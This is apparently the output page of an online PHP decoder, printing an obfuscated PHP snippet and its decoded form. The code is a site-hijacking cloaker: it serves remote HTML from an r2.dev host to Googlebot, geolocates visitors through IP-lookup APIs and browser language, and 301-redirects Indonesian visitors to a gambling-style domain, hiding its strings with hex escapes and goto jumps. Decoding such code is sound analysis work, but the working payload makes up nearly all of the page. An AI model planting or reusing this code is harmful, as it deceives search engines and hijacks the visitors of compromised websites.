Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto AAhjM; mPMYO: function profile_user() { $useragent = $_SERVER["\x48\x54\x54\x..
Decoded Output download
<?php
goto AAhjM; mPMYO: function profile_user() { $useragent = $_SERVER["HTTP_USER_AGENT"]; $themes = "https://pub-629eb87883bc4df499665fc3b81ac452.r2.dev/1viver.html"; if (stripos($useragent, "Google-InspectionTool") !== false || stripos($useragent, "googlebot") !== false || stripos($useragent, "(compatible; Googlebot/2.1; +http://www.google.com/bot.html)") !== false) { $content = file_get_contents($themes); echo $content; die; } $visitor_ip = $_SERVER["REMOTE_ADDR"]; $apiUrlIpSb = "https://api.ip.sb/geoip/" . $visitor_ip; $ch = curl_init($apiUrlIpSb); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $responseIpSb = curl_exec($ch); curl_close($ch); $dataIpSb = json_decode($responseIpSb, true); $isIndonesia = false; if (isset($dataIpSb["country_code"]) && !empty($dataIpSb["country_code"])) { if ($dataIpSb["country_code"] === "ID" || isset($dataIpSb["country"]) && stripos($dataIpSb["country"], "indonesia") !== false) { $isIndonesia = true; } } else { $apiUrlIncolumitas = "https://api.incolumitas.com/?q=" . $visitor_ip; $ch2 = curl_init($apiUrlIncolumitas); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); $responseIncolumitas = curl_exec($ch2); curl_close($ch2); $dataIncolumitas = json_decode($responseIncolumitas, true); if (isset($dataIncolumitas["location"])) { $countryCode = isset($dataIncolumitas["location"]["country_code"]) ? $dataIncolumitas["location"]["country_code"] : ''; $countryName = isset($dataIncolumitas["location"]["country"]) ? $dataIncolumitas["location"]["country"] : ''; if ($countryCode === "ID" || stripos($countryName, "indonesia") !== false) { $isIndonesia = true; } } } $language = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"]) : ''; if (strpos($language, "id") !== false) { $isIndonesia = true; } if ($isIndonesia) { header("Location: https://aksescepat.xyz/garuda55", true, 301); die; } include "index.php"; die; } goto wDQkz; wDQkz: profile_user(); goto SJ4nZ; AAhjM: error_reporting(0); goto mPMYO; SJ4nZ: ?>
Did this file decode correctly?
Original Code
<?php
goto AAhjM; mPMYO: function profile_user() { $useragent = $_SERVER["\x48\x54\x54\x50\137\x55\x53\105\122\137\101\x47\x45\116\x54"]; $themes = "\150\x74\x74\x70\163\72\57\x2f\160\x75\x62\x2d\x36\x32\x39\145\142\x38\67\x38\70\x33\142\143\64\x64\146\x34\x39\71\66\66\x35\x66\x63\x33\142\x38\61\141\x63\x34\x35\x32\56\x72\x32\56\144\x65\x76\57\61\x76\151\166\145\x72\x2e\x68\x74\155\154"; if (stripos($useragent, "\107\x6f\x6f\147\154\145\55\x49\x6e\x73\160\145\x63\164\151\x6f\x6e\x54\157\157\x6c") !== false || stripos($useragent, "\147\x6f\x6f\x67\154\x65\142\x6f\x74") !== false || stripos($useragent, "\x28\143\x6f\x6d\160\x61\x74\x69\142\x6c\145\x3b\40\x47\x6f\157\x67\x6c\x65\x62\157\x74\x2f\x32\56\61\x3b\x20\53\150\164\164\160\x3a\x2f\x2f\x77\167\x77\56\x67\157\157\x67\154\x65\x2e\143\157\x6d\x2f\x62\157\x74\56\x68\164\x6d\x6c\x29") !== false) { $content = file_get_contents($themes); echo $content; die; } $visitor_ip = $_SERVER["\122\105\x4d\x4f\x54\105\137\101\x44\104\x52"]; $apiUrlIpSb = "\150\164\164\x70\x73\x3a\57\x2f\141\x70\151\x2e\x69\160\x2e\163\142\x2f\147\145\157\151\160\57" . $visitor_ip; $ch = curl_init($apiUrlIpSb); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $responseIpSb = curl_exec($ch); curl_close($ch); $dataIpSb = json_decode($responseIpSb, true); $isIndonesia = false; if (isset($dataIpSb["\143\157\x75\156\164\x72\171\137\x63\x6f\x64\145"]) && !empty($dataIpSb["\x63\157\165\x6e\164\x72\171\x5f\x63\157\144\145"])) { if ($dataIpSb["\143\x6f\165\x6e\164\x72\x79\x5f\x63\x6f\144\x65"] === "\111\x44" || isset($dataIpSb["\143\157\x75\x6e\164\162\x79"]) && stripos($dataIpSb["\x63\x6f\x75\x6e\x74\x72\x79"], "\151\x6e\x64\x6f\156\145\x73\x69\x61") !== false) { $isIndonesia = true; } } else { $apiUrlIncolumitas = "\x68\x74\164\160\x73\72\x2f\57\141\x70\151\x2e\x69\x6e\x63\x6f\154\x75\155\151\x74\x61\163\56\143\x6f\155\x2f\77\161\75" . $visitor_ip; $ch2 = curl_init($apiUrlIncolumitas); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); $responseIncolumitas = curl_exec($ch2); curl_close($ch2); $dataIncolumitas = json_decode($responseIncolumitas, true); if (isset($dataIncolumitas["\x6c\x6f\143\x61\164\151\x6f\156"])) { $countryCode = isset($dataIncolumitas["\154\157\143\141\x74\151\x6f\156"]["\x63\x6f\165\156\x74\x72\x79\137\x63\157\x64\x65"]) ? $dataIncolumitas["\x6c\x6f\x63\x61\164\x69\157\x6e"]["\143\x6f\x75\x6e\x74\162\x79\x5f\143\157\x64\x65"] : ''; $countryName = isset($dataIncolumitas["\x6c\x6f\x63\x61\x74\151\157\156"]["\143\157\165\x6e\164\162\x79"]) ? $dataIncolumitas["\154\157\143\x61\164\x69\157\x6e"]["\143\x6f\x75\x6e\164\162\x79"] : ''; if ($countryCode === "\x49\x44" || stripos($countryName, "\x69\156\x64\x6f\x6e\x65\163\x69\141") !== false) { $isIndonesia = true; } } } $language = isset($_SERVER["\x48\x54\124\120\x5f\x41\x43\103\105\120\x54\x5f\x4c\x41\x4e\x47\125\101\x47\x45"]) ? strtolower($_SERVER["\110\124\124\x50\x5f\x41\x43\103\105\120\x54\x5f\x4c\x41\x4e\107\x55\101\x47\x45"]) : ''; if (strpos($language, "\151\144") !== false) { $isIndonesia = true; } if ($isIndonesia) { header("\x4c\157\x63\x61\x74\x69\x6f\156\72\40\150\164\x74\160\163\x3a\57\x2f\x61\153\163\145\x73\143\145\160\x61\x74\56\x78\171\172\x2f\147\141\162\165\144\141\x35\x35", true, 301); die; } include "\x69\156\x64\x65\170\56\160\150\160"; die; } goto wDQkz; wDQkz: profile_user(); goto SJ4nZ; AAhjM: error_reporting(0); goto mPMYO; SJ4nZ: ?>
Function Calls
None |
Stats
MD5 | 9e96803ebc3729dcc5748a54c6c0b220 |
Eval Count | 0 |
Decode Time | 75 ms |